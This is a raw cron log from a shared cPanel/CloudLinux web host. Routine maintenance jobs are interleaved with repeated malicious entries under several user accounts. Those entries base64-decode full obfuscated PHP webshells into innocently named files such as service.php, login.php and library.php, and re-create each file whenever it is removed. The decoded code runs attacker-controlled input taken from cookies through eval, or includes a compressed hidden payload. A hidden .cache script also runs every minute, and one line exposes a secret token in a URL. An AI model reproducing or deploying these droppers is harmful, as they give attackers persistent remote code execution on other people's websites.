Mar  1 20:45:01 medusa CROND[14160]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 20:45:01 medusa CROND[14161]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 20:45:01 medusa CROND[14162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:45:01 medusa CROND[14163]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:45:01 medusa CROND[14167]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:45:01 medusa CROND[14166]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:45:01 medusa CROND[14173]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:45:01 medusa CROND[14168]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 20:45:01 medusa CROND[14181]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 20:45:01 medusa CROND[14183]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:45:01 medusa CROND[14184]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 20:45:01 medusa CROND[14186]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:45:01 medusa CROND[14187]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 20:45:01 medusa CROND[14180]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Mar  1 20:45:01 medusa CROND[14191]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:45:01 medusa CROND[14171]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 20:45:01 medusa CROND[14194]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 20:45:01 medusa CROND[14185]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 20:45:01 medusa CROND[14188]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 20:46:01 medusa CROND[468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:46:01 medusa CROND[605]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:46:02 medusa CROND[821]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 20:46:02 medusa CROND[823]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:46:02 medusa CROND[822]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:46:02 medusa CROND[826]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 20:46:02 medusa CROND[837]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:46:02 medusa CROND[836]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:46:02 medusa CROND[839]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 20:46:02 medusa CROND[844]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:46:02 medusa CROND[847]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:46:02 medusa CROND[848]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 20:46:02 medusa CROND[852]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:46:02 medusa CROND[854]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 20:46:02 medusa CROND[850]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:47:02 medusa CROND[19664]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 20:47:02 medusa CROND[19784]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 20:47:02 medusa CROND[19785]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 20:47:02 medusa CROND[19786]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 20:47:02 medusa CROND[19787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 20:47:02 medusa CROND[19788]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 20:47:02 medusa CROND[19791]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 20:47:02 medusa CROND[19792]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 20:47:02 medusa CROND[19793]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 20:47:02 medusa CROND[19795]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
